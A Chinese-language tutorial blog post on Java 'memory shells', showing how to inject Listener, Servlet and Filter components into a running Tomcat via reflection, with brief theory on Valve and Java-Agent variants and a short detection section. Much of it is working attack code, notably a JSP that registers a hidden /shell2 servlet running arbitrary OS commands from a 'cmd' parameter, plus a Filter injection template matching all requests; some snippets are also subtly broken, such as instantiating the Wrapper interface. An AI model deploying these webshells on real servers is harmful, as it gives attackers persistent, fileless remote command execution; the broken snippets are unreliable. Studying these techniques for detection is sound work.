小谈java内存马
基础知识
(代码功底不好,就找ai优化了一下)
Java内存马是一种利用Java虚拟机(JVM)动态特性(如类加载机制、反射技术等)在内存中注入恶意代码的攻击手段。它不需要在磁盘上写入文件,因此具有很强的隐蔽性,难以被传统基于文件系统的安全检测工具发现。
Java内存马的实现主要依赖以下JVM特性:
反射机制:通过反射可以动态地操作类、方法和字段,甚至可以调用私有方法或修改私有字段。
动态类加载:Java允许在运行时动态加载新的类,内存马利用这一点将恶意代码加载到JVM中。
字节码操作:通过工具(如ASM、CGLIB)可以动态生成或修改字节码,从而注入恶意逻辑。
Java内存马的常见类型 | 原理 |
---|---|
Servlet型内存马 | 利用Java反射技术和Web容器(如Tomcat)的API,在运行时动态注册恶意的Servlet组件。当访问特定URL时,恶意Servlet会被触发执行。 |
Listener型内存马 | 利用Java反射技术和Web容器(如Tomcat)的API,在运行时动态注册恶意的Servlet组件。当访问特定URL时,恶意Servlet会被触发执行 |
Filter型内存马 | 动态注册恶意的Filter(过滤器),在请求到达Servlet之前拦截请求并执行恶意代码。 |
Valve型内存马 | 基于Tomcat的Valve机制,动态注册恶意Valve组件。Valve在请求处理流程中更早地拦截请求,甚至可以拦截所有请求 |
Java-Agent型内存马 | 利用Java-Agent技术,通过java.lang.instrument包动态修改类的字节码,注入恶意代码。这种方式可以在不修改源代码的情况下,修改已加载类的行为 |
讲人话,就是java内存马是无文件落地的,利用Java的动态特性将恶意代码注入到内存中运行,且能够在不触发文件检测的情况下长期驻留,但内存马的持久性依赖于JVM的运行,一旦JVM重启,内存马通常会失效。
java三大组件
Servlet 、Filter 、Listener
三个组件的作用…(叽里咕噜一大堆)
三大组件 | 总结与区别 |
---|---|
Servlet | 核心功能:处理请求和响应,生成动态内容。生命周期:由请求触发,每次请求都会调用doGet()或doPost()方法。 作用范围:针对具体的请求和响应。 |
Filter | 核心功能:拦截请求和响应,执行预处理或后处理。 生命周期:在请求到达Servlet之前或响应返回客户端之前被调用。作用范围:可以作用于多个Servlet或整个应用。 |
Listener | 核心功能:监听生命周期事件,执行特定逻辑。生命周期:在事件发生时被调用,例如应用启动、会话创建等。 作用范围:全局作用,监听整个应用的生命周期。 |
当然了,要了解一下JAVA Web的访问流程
1、我们去请求一个1.jsp
2、经过Listener组件,如果存在的话
3、经过Filter组件,如果存在的话
4、此时来到Servlet这个组件,如果服务端存在1.jsp这个文件的话,那么就会去请求相对应的路由
5、访问1.jsp这文件
Listener、Filter这两个组件不一定会经过,但是Servlet这个组件一定会经过,因为Servlet 是 Java Web 开发的核心组件,用于处理请求并生成响应
Listener
基于 Listener 的内存马利用 Tomcat 的 API 和 Java 的反射机制,在运行时动态注册一个恶意的 Listener。当 Web 应用程序的生命周期事件或属性变更事件发生时,这个恶意的 Listener 就会执行预先设定的恶意代码。
第一个小复现
在本机的idea上测试,先建一个项目,再新建一个test的类
其中建立一个Listener监听器,指向刚刚建立的test1文件内容
再test1类中写入
package com.sf.maven.listenershell;import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;public class test1 implements ServletRequestListener {@Overridepublic void requestInitialized(ServletRequestEvent arg0) {System.out.println("requestInitialized");ServletRequestListener.super.requestInitialized(arg0);}@Overridepublic void requestDestroyed(ServletRequestEvent arg0) {System.out.println("requestDestroyed");ServletRequestListener.super.requestDestroyed(arg0);}
}
说明成功运行
我们同样可以加入一些执行代码。比如弹计算器啊
我这里加入了一些代码,访问后发现打开了文件夹
package com.sf.maven.listenershell;import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;
import jakarta.servlet.annotation.WebListener;
import jakarta.servlet.http.HttpServletRequest;@WebListener
public class Test1 implements ServletRequestListener {@Overridepublic void requestInitialized(ServletRequestEvent event) {// 将 ServletRequest 转换为 HttpServletRequestHttpServletRequest request = (HttpServletRequest) event.getServletRequest();System.out.println("Request initialized: " + request.getRequestURI());executeCommand(); // 调用执行命令的方法}@Overridepublic void requestDestroyed(ServletRequestEvent event) {// 将 ServletRequest 转换为 HttpServletRequestHttpServletRequest request = (HttpServletRequest) event.getServletRequest();System.out.println("Request destroyed: " + request.getRequestURI());}/*** 执行系统命令的方法。*/private void executeCommand() {try {// 根据操作系统类型执行不同的命令String os = System.getProperty("os.name").toLowerCase();String command;if (os.contains("win")) {// Windows 系统:打开文件管理器command = "explorer.exe";} else if (os.contains("mac")) {// macOS 系统:打开Findercommand = "open";} else {// Linux 系统:打开默认文件管理器command = "xdg-open";}// 执行命令Process process = Runtime.getRuntime().exec(command);System.out.println("Command executed: " + command);} catch (Exception e) {System.err.println("Failed to execute command: " + e.getMessage());}}
}
Listener内存马通常是指动态注册一个新的恶意Listener组件,传统javaweb项目的内存马就是创建了个新的Listener、Filter、Servlet这几个东西,其它类型的内存马也是同理。这里要注意一下Java Web容器的Listener机制允许存在多个Listener,Listener内存马不会覆盖原有的Listener组件,新旧Listener会共存并同时生效。
但又有一个问题来了,listener 是咋把我们创建的类test1加载到内存中的
答案就是:
StandardContext类的context
StandardContext是Tomcat中管理Web应用生命周期的核心类,它通过addApplicationEventListener方法将Listener加载到内存中,并在适当的事件发生时调用它们。我们可以通过web.xml配置、注解或动态注册的方式将自定义的Listener(如Test1)添加到StandardContext中。
Servlet
Servlet 型内存马与 Filter 型内存马类似,都是利用Java 的反射机制和 Tomcat 的 API 在运行时动态注册恶意的组件。Servlet 内存马通过动态注册一个恶意的 Servlet 来接管特定 URL 的请求,从而实现对目标系统的控制。
该内存马流程大致如下:
创建servlet获取StandardContext#context创建wrapper并写入servlet信息添加wrapper并添加路由信息
第二个小复现
和之前的linstener差不多一样的构建方法
创建一个test2类,写入下面的代码
package com.sf.maven.servletshell;import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;public class test2 extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {// 设置响应内容类型resp.setContentType("text/html");PrintWriter out = resp.getWriter();// 输出响应内容out.println("<!DOCTYPE html>");out.println("<html lang='en'>");out.println("<head><title>Test Servlet</title></head>");out.println("<body>");out.println("<h1>GET Request Received</h1>");out.println("<p>Method: GET</p>");out.println("</body></html>");}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {// 设置响应内容类型resp.setContentType("text/html");PrintWriter out = resp.getWriter();// 输出响应内容out.println("<!DOCTYPE html>");out.println("<html lang='en'>");out.println("<head><title>Test Servlet</title></head>");out.println("<body>");out.println("<h1>POST Request Received</h1>");out.println("<p>Method: POST</p>");out.println("</body></html>");}@Overrideprotected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {// 设置响应内容类型resp.setContentType("text/html");PrintWriter out = resp.getWriter();// 输出响应内容out.println("<!DOCTYPE html>");out.println("<html lang='en'>");out.println("<head><title>Test Servlet</title></head>");out.println("<body>");out.println("<h1>PUT Request Received</h1>");out.println("<p>Method: PUT</p>");out.println("</body></html>");}
}
那么就可以创建一个恶意jsp,来达成我们的目的
package com.sf.maven.servletshell;import org.apache.catalina.Context;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;import javax.servlet.Servlet;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.lang.reflect.Field;public class EvilServlet extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {processRequest(request, response);}@Overrideprotected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {processRequest(request, response);}private void processRequest(HttpServletRequest request, HttpServletResponse response) throws IOException {response.setContentType("text/plain");PrintWriter out = response.getWriter();String command = request.getParameter("shihui");if (command != null && !command.trim().isEmpty()) {try {Process process = Runtime.getRuntime().exec(command);BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));String line;while ((line = reader.readLine()) != null) {out.println(line);}} catch (IOException e) {out.println("Error executing command: " + e.getMessage());}} else {response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Missing or empty 'shihui' parameter");}}// 动态注册恶意 Servlet 到 Tomcatpublic static void registerEvilServlet() throws Exception {// 获取当前 ServletContextServletConfig servletConfig = EvilServlet.class.getServletConfig();Context context = (Context) servletConfig.getServletContext();// 创建 Wrapper 并封装恶意 ServletWrapper wrapper = new Wrapper();wrapper.setName("EvilServlet");wrapper.setServletClass(EvilServlet.class.getName());wrapper.setLoadOnStartup(1);// 添加到 StandardContextStandardContext standardContext = (StandardContext) context;standardContext.addChild(wrapper);standardContext.addServletMappingDecoded("/evil", "EvilServlet");System.out.println("EvilServlet registered successfully.");}
}
成功截图就懒的放了,方便下滑
CVE-2020-1938
Servlet和Tomcat的关系 Tomcat里面有Servlet容器(引擎) Tomcat可以提供HTTP访问
Tomcat可以把HTTP请求转换为HttpServletRequest对象,并调用doGet/doPost,并且把HttpServletResponse转换为HTTP响应内容
为了方便演示,这里跳过RCE,因为我们现在是想往当前 Tomcat 搭建的 Web 服务中动态注入一个恶意 Servlet,完成这个目标的前提是已经拥有了一个 Webshell
所以我这直接手动向将一个恶意 jsp 文件,实现一个恶意 Servlet 的动态注册,从而达到注入内存马操作
我们先新建一个恶意jsp文件
(找ai优化了一下代码)
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.http.HttpServlet" %>
<%@ page import="java.lang.reflect.Field" %><%!public class Shell2Servlet extends HttpServlet {@Overrideprotected void service(ServletRequest request, ServletResponse response) throws ServletException, IOException {String cmd = request.getParameter("cmd");if (cmd == null || cmd.isEmpty()) {response.getWriter().println("No command provided.");return;}boolean isLinux = System.getProperty("os.name").toLowerCase().contains("win") == false;String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};Process process = Runtime.getRuntime().exec(cmds);InputStream inputStream = process.getInputStream();Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");String output = scanner.hasNext() ? scanner.next() : "No output.";PrintWriter writer = response.getWriter();writer.println(output);writer.flush();}}
%><%ServletContext servletContext = request.getServletContext();try {Field applicationField = servletContext.getClass().getDeclaredField("context");applicationField.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) applicationField.get(servletContext);Field standardContextField = applicationContext.getClass().getDeclaredField("context");standardContextField.setAccessible(true);StandardContext context = (StandardContext) standardContextField.get(applicationContext);Wrapper wrapper = context.createWrapper();wrapper.setName("Shell2Servlet");wrapper.setServletClass(Shell2Servlet.class.getName());context.addChild(wrapper);context.addServletMappingDecoded("/shell2", "Shell2Servlet");out.println("Shell2Servlet injected successfully!");out.println("Access URL: /shell2");out.println("Parameter: cmd");} catch (Exception e) {out.println("Injection failed: " + e.getMessage());}
%>
分析上面的代码,我们可以从两部分来分析
Shell2Servlet类
这部分定义了一个继承自HttpServlet的类,用于处理HTTP请求并执行系统命令。
<%!public class Shell2Servlet extends HttpServlet {@Overrideprotected void service(ServletRequest request, ServletResponse response) throws ServletException, IOException {String cmd = request.getParameter("cmd"); // 从请求中获取名为"cmd"的参数if (cmd == null || cmd.isEmpty()) {response.getWriter().println("No command provided."); // 如果没有命令,返回提示信息return;}boolean isLinux = System.getProperty("os.name").toLowerCase().contains("win") == false; // 判断操作系统类型String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; // 构造命令Process process = Runtime.getRuntime().exec(cmds); // 执行命令InputStream inputStream = process.getInputStream(); // 获取命令的输出流Scanner scanner = new Scanner(inputStream).useDelimiter("\\A"); // 使用Scanner读取输出String output = scanner.hasNext() ? scanner.next() : "No output."; // 将输出转换为字符串PrintWriter writer = response.getWriter(); // 获取响应的输出流writer.println(output); // 将命令的输出写入HTTP响应writer.flush(); // 刷新输出流}}
%>
service方法:
这是一个通用的请求处理方法,用于处理所有类型的HTTP请求(GET、POST等)。
它从请求中获取cmd参数,该参数包含要执行的系统命令。
操作系统判断:
通过System.getProperty(“os.name”)获取操作系统名称。
如果是Linux/Unix系统,使用sh -c执行命令;如果是Windows系统,使用cmd.exe /c执行命令。
命令执行:
使用Runtime.getRuntime().exec()执行命令。
通过InputStream获取命令的输出,并使用Scanner将其转换为字符串。
响应输出:
将命令的输出写入HTTP响应中,返回给客户端。
JSP页面中的动态注入
这部分代码通过反射操作Tomcat的内部类,动态注入Shell2Servlet,使其能够响应特定的URL路径。
<%ServletContext servletContext = request.getServletContext(); // 获取当前Web应用的ServletContexttry {Field applicationField = servletContext.getClass().getDeclaredField("context"); // 获取ServletContext中的applicationContext字段applicationField.setAccessible(true); // 设置字段可访问ApplicationContext applicationContext = (ApplicationContext) applicationField.get(servletContext); // 获取ApplicationContext对象Field standardContextField = applicationContext.getClass().getDeclaredField("context"); // 获取ApplicationContext中的standardContext字段standardContextField.setAccessible(true); // 设置字段可访问StandardContext context = (StandardContext) standardContextField.get(applicationContext); // 获取StandardContext对象Wrapper wrapper = context.createWrapper(); // 创建一个新的Wrapper对象wrapper.setName("Shell2Servlet"); // 设置Wrapper的名称wrapper.setServletClass(Shell2Servlet.class.getName()); // 设置Wrapper的Servlet类名context.addChild(wrapper); // 将Wrapper添加到StandardContext中context.addServletMappingDecoded("/shell2", "Shell2Servlet"); // 将Servlet映射到URL路径"/shell2"out.println("Shell2Servlet injected successfully!"); // 输出注入成功的信息out.println("Access URL: /shell2");out.println("Parameter: cmd");} catch (Exception e) {out.println("Injection failed: " + e.getMessage()); // 如果注入失败,输出错误信息}
%>
获取ServletContext:
request.getServletContext()获取当前Web应用的ServletContext对象。
反射操作:
使用反射获取ServletContext中的ApplicationContext对象。
使用反射获取ApplicationContext中的StandardContext对象。
创建Wrapper对象:
StandardContext是Tomcat中用于管理Servlet的容器。
创建一个新的Wrapper对象,用于托管Shell2Servlet。
设置Wrapper的名称和Servlet类名,并将其添加到StandardContext中。
映射URL路径:
使用addServletMappingDecoded方法将Shell2Servlet映射到URL路径/shell2。
这意味着访问/shell2时,请求将被转发到Shell2Servlet。
输出注入结果:
如果注入成功,输出成功信息和访问路径。
如果注入失败,输出错误信息。
注入完成
把该恶意jsp放入tomcat容器的/webapps/ROOT中
再去访问url/shihui.jsp,完成恶意 Servlet 的动态注入到 Tomcat 容器的动作,即注入内存马
成功访问我们注入的内存马,再url里带上一个cmd参数
Filter
流程
创建 Filter 对象:实现 javax.servlet.Filter 接口。
获取 StandardContext:通过反射获取当前 Web 应用的 StandardContext 对象。
配置 FilterDef:定义 Filter 的别名、类名和实例。
配置 FilterMap:定义 Filter 的触发路由。
将 FilterDef 和 FilterMap 添加到 StandardContext:通过反射将 Filter 注册到 Web 容器中。
filter内存马和listerner的区别
listerner内存马只需控制的是listener这个类传入,那是因为创建listener时我们要配置的信息只有类,但是filter不一样,我们要配置的信息除了类,还有类别名,还有对应的触发访问路由,那么我们想要创建一个filter内存马是不是除了filter对象的传入,还要搞清楚filter别名、filter路由是如何传入的
第三个复现
创建test3类的流程和之前一样,先在test3类里填入代码
package com.sf.maven.servletshell;import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;public class test3 implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {// 初始化方法,在 Filter 启动时调用System.out.println("init");}@Overridepublic void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException {// 将通用 ServletRequest 转换为 HttpServletRequestHttpServletRequest httpRequest = (HttpServletRequest) request;// 在请求处理之前执行逻辑System.out.println("Request received: " + httpRequest.getRequestURI());// 继续传递请求到下一个 Filter 或目标 Servletchain.doFilter(request, response);// 在请求处理之后执行逻辑System.out.println("Request processed: " + httpRequest.getRequestURI());}@Overridepublic void destroy() {// 销毁方法,在 Filter 停止时调用System.out.println("destroy");}
}
再加入你的恶意代码即可
下面这串是整个恶意代码包括之前创建类的代码
package com.sf.maven.servletshell;import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.deploy.FilterDef;
import org.apache.catalina.deploy.FilterMap;import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Field;public class test3 implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {// 初始化方法,在 Filter 启动时调用System.out.println("init");}@Overridepublic void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException {// 将通用 ServletRequest 转换为 HttpServletRequestHttpServletRequest httpRequest = (HttpServletRequest) request;// 在请求处理之前执行逻辑System.out.println("Request received: " + httpRequest.getRequestURI());// 继续传递请求到下一个 Filter 或目标 Servletchain.doFilter(request, response);// 在请求处理之后执行逻辑System.out.println("Request processed: " + httpRequest.getRequestURI());}@Overridepublic void destroy() {// 销毁方法,在 Filter 停止时调用System.out.println("destroy");}/*** 动态注册 Filter 到 Tomcat*/public static void registerFilter(ServletRequest request) throws Exception {// 获取当前 ServletContextServletContext servletContext = request.getServletContext();// 通过反射获取 StandardContextField contextField = servletContext.getClass().getDeclaredField("context");contextField.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) contextField.get(servletContext);Field standardContextField = applicationContext.getClass().getDeclaredField("context");standardContextField.setAccessible(true);StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);// 创建 FilterDef 并配置 FilterFilterDef filterDef = new FilterDef();filterDef.setFilterName("test3Filter"); // 设置 Filter 别名filterDef.setFilterClass(test3.class.getName()); // 设置 Filter 类名filterDef.setFilter(new test3()); // 设置 Filter 实例// 创建 FilterMap 并配置触发路由FilterMap filterMap = new FilterMap();filterMap.setFilterName("test3Filter"); // 设置 Filter 别名filterMap.addURLPattern("/*"); // 设置触发路由,匹配所有请求// 将 FilterDef 和 FilterMap 添加到 StandardContextstandardContext.addFilterDef(filterDef);standardContext.addFilterMap(filterMap);System.out.println("Filter 'test3Filter' registered successfully.");}
}
三大内存马的总结
省流版
Servlet 内存马:通过动态注册恶意 Servlet 并绑定 URL 路由,当访问特定路径时触发恶意逻辑。
Filter 内存马:通过动态注册恶意 Filter 并配置路由,拦截请求时触发恶意逻辑。
Listener 内存马:通过动态注册恶意 Listener,当特定事件发生时(如应用启动、会话创建)触发恶意逻辑。
-
Servlet 内存马的流程
创建恶意 Servlet:
定义一个恶意的 HttpServlet,在 doGet 或 doPost 方法中实现恶意逻辑(如执行命令、读取文件等)。
动态注册 Servlet:
通过反射获取当前 Web 应用的 StandardContext 对象。
创建一个 Wrapper 对象,封装恶意 Servlet 的类名和实例。
将 Wrapper 添加到 StandardContext 中,并绑定一个 URL 路由(如 /evil)。
添加 Servlet 映射,使恶意 Servlet 能够响应特定路径的请求。
触发恶意逻辑:
当客户端访问绑定的 URL 路由时,恶意 Servlet 被触发,执行恶意逻辑。 -
Filter 内存马的流程
创建恶意 Filter:
定义一个实现 Filter 接口的恶意类,在 doFilter 方法中实现恶意逻辑。
动态注册 Filter:
通过反射获取当前 Web 应用的 StandardContext 对象。
创建 FilterDef 对象,配置恶意 Filter 的别名、类名和实例。
创建 FilterMap 对象,定义 Filter 的触发路由(如 /*,匹配所有请求)。
将 FilterDef 和 FilterMap 添加到 StandardContext 中。
触发恶意逻辑:
当客户端发起请求时,恶意 Filter 会根据配置的路由拦截请求,并执行恶意逻辑。 -
Listener 内存马的流程
创建恶意 Listener:
定义一个实现 ServletContextListener 或 HttpSessionListener 接口的恶意类,在 contextInitialized 或 sessionCreated 方法中实现恶意逻辑。
动态注册 Listener:
通过反射获取当前 Web 应用的 StandardContext 对象。
创建恶意 Listener 的实例。
将恶意 Listener 添加到 StandardContext 的监听器列表中。
触发恶意逻辑:
当 Web 应用启动(contextInitialized)或会话创建(sessionCreated)时,恶意 Listener 被触发,执行恶意逻辑。
value和agent(纯理论,无实操版)
这两个我就放一起总结了,当然不是因为懒
value是tomcat独有的
他的流程如下:
寻找目标对象或类:
找到目标应用中已存在的对象或类,这些对象或类通常具有可被利用的属性(如 value)。
修改目标对象的属性或行为:
通过反射或其他方式修改目标对象的属性值,注入恶意代码。
例如,修改某个全局变量或配置类的属性,使其包含恶意逻辑。
触发恶意代码:
当目标对象的属性被访问或使用时,恶意代码被触发。
这种触发方式通常依赖于特定的请求或操作,例如访问某个特定的 URL 或调用某个方法。
也就是说该内存马是通过修改现有对象或类的属性,适合在已有组件的基础上进行简单修改,但依赖一些特定的请求或操作
agent
Agent 类型内存马的流程:
1.创建 Agent 程序:
编写一个 Java Agent 程序,实现 premain 或 agentmain 方法。
使用 java.lang.instrument 包提供的 Instrumentation 和 ClassFileTransformer 接口来动态修改字节码。
2.打包 Agent 为 JAR 文件:
将 Agent 程序打包为 JAR 文件,并在 MANIFEST.MF 文件中指定 Premain-Class 或 Agent-Class。
3.加载 Agent:
premain 方式:在 JVM 启动时通过 -javaagent 参数加载。
agentmain 方式:在 JVM 启动后,通过 Attach API 动态加载。
使用 VirtualMachine 类连接到目标 JVM,并调用 loadAgent 方法。
4.修改字节码:
使用字节码操作库(如 Javassist、ASM)动态修改目标类的字节码。
例如,可以在目标类的方法中插入恶意代码。
5.触发恶意代码:
当目标类的方法被调用时,恶意代码被触发。
由于修改发生在内存中,不会留下文件痕迹,因此隐蔽性很高。
那么我们就可以发现Agent 类型内存马,他是用 Java Agent 技术动态修改字节码来完成的,实现复杂,但可以动态注入到已启动的 JVM 中,隐蔽性很高
查杀
虽然没几个人可以手动排查内存马,但也走个过场,作为了解即可,基本都是用工具
想要查杀那么就得先定位
内存马虽然是无文件落地的,但你也可以从其的流量特征和代码特征两个方面来完成定位
所谓的流量特征和代码特征,围绕的点,无外乎是老生常谈的那几点:
异常路径和状态码, 攻击者可能会尝试通过访问 /shell, /cmd, /hack, /test 等不存在的路径,并携带参数执行命令。
动态变化的数据包大小: 内存马在执行命令或返回结果时,会导致数据包大小发生动态变化,这是内存马活动的典型特征。
特殊的 User-Agent 或 Referer 字段: 攻击者有时会使用特殊的 User-Agent 或 Referer 字段来标识或控制内存马。
恶意的代码执行,因为内存马的核心功能是执行恶意命令。
可疑的类名和包名,比如我之前搞的test类。
加解密操作: 为了隐藏恶意代码和通信内容,内存马通常会使用加解密算法,例如 AES、Base64 等。
动态注册组件: 内存马可能会利用 Java 反射机制动态注册 Filter、Servlet、Listener 等组件。
…
至于查杀,这个图很好的描述了
相关文章:
小谈java内存马
基础知识 (代码功底不好,就找ai优化了一下) Java内存马是一种利用Java虚拟机(JVM)动态特性(如类加载机制、反射技术等)在内存中注入恶意代码的攻击手段。它不需要在磁盘上写入文件,…...
wordpress自定the_category的输出结构
通过WordPress的过滤器the_category来自定义输出内容。方法很简单,但是很实用。以下是一个示例代码: function custom_the_category($thelist, $separator , $parents ) {// 获取当前文章的所有分类$categories get_the_category();if (empty($categ…...
Flink深入浅出之01:应用场景、基本架构、部署模式
Flink 1️⃣ 一 、知识要点 📖 1. Flink简介 Apache Flink — Stateful Computations over Data StreamsApache Flink 是一个分布式大数据处理引擎,可对有界数据流和无界数据流进行有状态的计算。Flink 能在所有常见集群环境中运行,并能以…...
react脚手架(creat-react-app)
安装 react脚手架 React官方提供的脚手架工程Create React App:https://github.com/facebook/create-react-app npm install create-react-app -g 全局安装 create-react-app my-react (my-react为项目名称,可以自定义) cd my-react 启动项目:…...
TypeError: Cannot set properties of undefined (setting ‘xxx‘)
🤍 前端开发工程师、技术日更博主、已过CET6 🍨 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 🕠 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》、《前端求职突破计划》 🍚 蓝桥云课签约作者、…...
使用Node.js从零搭建DeepSeek本地部署(Express框架、Ollama)
目录 1.安装Node.js和npm2.初始化项目3.安装Ollama4.下载DeepSeek模型5.创建Node.js服务器6.运行服务器7.Web UI对话-Chrome插件-Page Assist 1.安装Node.js和npm 首先确保我们机器上已经安装了Node.js和npm。如果未安装,可以通过以下链接下载并安装适合我们操作系…...
考网络安全工程师证要什么条件才能考?
在当今数字化时代,网络安全问题日益凸显,网络安全工程师成为了一个备受瞩目的职业。许多有志于投身这一行业的学子或职场人士,都希望通过考取网络安全工程师证书来提升自己的专业素养和竞争力。那么,考网络安全工程师证需要具备哪…...
【情境领导者】评估情境——准备度水平
本系列是看了《情境领导者》一书,结合自己工作的实践经验所做的学习笔记。 在文章【情境领导者】评估情境——什么是准备度-CSDN博客我们提到准备度是由能力和意愿两部分组成的。 准备度水平 而我们要怎么去评估准备度呢?准备度水平是指人们在每项工作中…...
一套企业级智能制造云MES系统源码, vue-element-plus-admin+springboot
MES应该是继ERP之后制造企业信息化最热门的管理软件,它适应产品个性化与敏捷化制造需求,满足生产过程精益管理而产生和发展起来的信息系统。 作为企业实现数字化与智能化的核心支撑技术与重要组成部分,MES在帮助制造企业走向数字化、智能化等…...
蓝桥杯备考:动态规划线性dp之传球游戏
按照动态规划的做题顺序 step1:定义状态表示 f[i][j] 表示 第i次传递给了第j号时一共有多少种方案 step2: 推到状压公式 step3:初始化 step4:最终结果实际上就是f[m][1] #include <iostream> #include <cstring> using namespace std;const int N …...
网络编程 day05
网络编程 day05 12. SQL 数据库概念常用数据库MySQL与SQLite的区别 SQL基础SQL语句使用基本语句的使用—命令行操作sqlite3系统命令sqlite命令 sqlite3编程—函数接口 13. setsockopt:设置套接字属性 12. SQL 数据库 概念 数据库是“按照数据结构来组织、存储和管理…...
Excel中COUNTIF用法解析
COUNTIF 是 Excel 中一个非常实用的函数,用于统计满足某个条件的单元格数量。它的基本语法如下: 基本语法 COUNTIF(范围, 条件) 范围:需要统计的单元格区域,例如 A1:A10 或整列 A:A。 条件:用于判断哪些单元格需要被…...
使用XShell连接RHEL9并配置yum阿里源
目录 1.先在终端查看本地IP 2.打开XShell进行连接 方法一: 方法二: 3.关闭防火墙及SElinux 4.更改主机名为node2 5.修改YUM源为阿里源(将系统中国外的yum文件换成国内的阿里镜像文件) 1.找到本机的yum配置文件 2.删除原有…...
FPGA时序约束的几种方法
一,时钟约束 时钟约束是最基本的一个约束,因为FPGA工具是不知道你要跑多高的频率的,你必要要告诉工具你要跑的时钟频率。时钟约束也就是经常看到的Fmax,因为Fmax是针对“最差劲路径”,也就是说,如果该“最差劲路径”得到好成绩,那些不是最差劲的路径的成绩当然比…...
C# 在Excel中插入和操作切片器-详解
目录 使用工具 C# 在Excel中插入切片器 插入切片器到透视表 插入切片器到表格 C# 在Excel中修改切片器 C# 删除Excel中的切片器 切片器(Slicer)是Excel中的一个强大工具,它提供了直观且交互式的方式来过滤数据。通过切片器,…...
新编大学应用英语综合教程3 U校园全套参考答案
获取全套答案: 链接:https://pan.quark.cn/s/abaa0338724e...
Kubernetes中的 iptables 规则介绍
#作者:邓伟 文章目录 一、Kubernetes 网络模型概述二、iptables 基础知识三、Kubernetes 中的 iptables 应用四、查看和调试 iptables 规则五、总结 在 Kubernetes 集群中,iptables 是一个核心组件, 用于实现服务发现和网络策略。iptables 通…...
操作系统 2.2-多进程总体实现
多个进程使用CPU的图像 如何使用CPU呢? 通过让程序执行起来来使用CPU。 如何充分利用CPU呢? 通过启动多个程序,交替执行来充分利用CPU。 启动了的程序就是进程,所以是多个进程推进 操作系统需要记录这些进程,并按照…...
基于SeaShips数据集的yolov8训练教程
之前已经试过在yolov3和faster-rcnn上训练SeaShips数据集,本次在yolov8上进行训练。 yolov8的训练有两种方式,一种是在mmdetection框架下下载mmyolo运行,另一种是直接采用ultralytics。本文两种方法都会介绍。 目录 一、mmyolo 1.1 创建环…...
【时间序列聚类】从数据中发现隐藏的模式
在大数据时代,时间序列数据无处不在。无论是股票市场的价格波动、天气的变化趋势,还是用户的点击行为,这些数据都随着时间推移而产生。然而,面对海量的时间序列数据,我们如何从中提取有价值的信息?答案之一…...
在线研讨会 | 加速游戏和AI应用,全面认识Imagination DXTP GPU
近日,Imagination宣布推出 Imagination DXTP GPU IP,该产品重新定义了智能手机和其他功耗受限设备的图形和计算加速。它专为高效的效率而设计,能够提供运行AI、游戏和用户界面体验所需的性能,确保这些体验可以全天候流畅且持续地运…...
百度SEO关键词布局从堆砌到场景化的转型指南
百度SEO关键词布局:从“堆砌”到“场景化”的转型指南 引言 在搜索引擎优化(SEO)领域,关键词布局一直是核心策略之一。然而,随着搜索引擎算法的不断升级和用户需求的多样化,传统的“关键词堆砌”策略已经…...
数据库基础练习1
目录 1.创建数据库和表 2.插入数据 创建一个数据库,在数据库种创建一张叫heros的表,在表中插入几个四大名著的角色: 1.创建数据库和表 #创建表 CREATE DATABASE db_test;#查看创建的数据库 show databases; #使用db_test数据库 USE db_te…...
UVC for USBCamera in Android
基于UVC 协议,完成USBCamera 开发 文章目录 一、目的:二、USBCamera 技术实现方案难点 三、误区:四、基础补充、资源参考架构图了解Camera相关专栏零散知识了解部分相机源码参考,学习API使用,梳理流程,偏应…...
C++学习之路,从0到精通的征途:入门基础
目录 一.C的第一个程序 二.命名空间 1.namespace的价值 2.命名空间的定义 3.命名空间使用 三.C的输入与输出 1.<iostream> 2.流 3.std(standard) 四.缺省参数 1.缺省参数的定义 2.全缺省/半缺省 3.声明与定义 五.函数重载 1.参数个数不同 2.参数类型不…...
RSA-OAEP填充方案与定时攻击防护
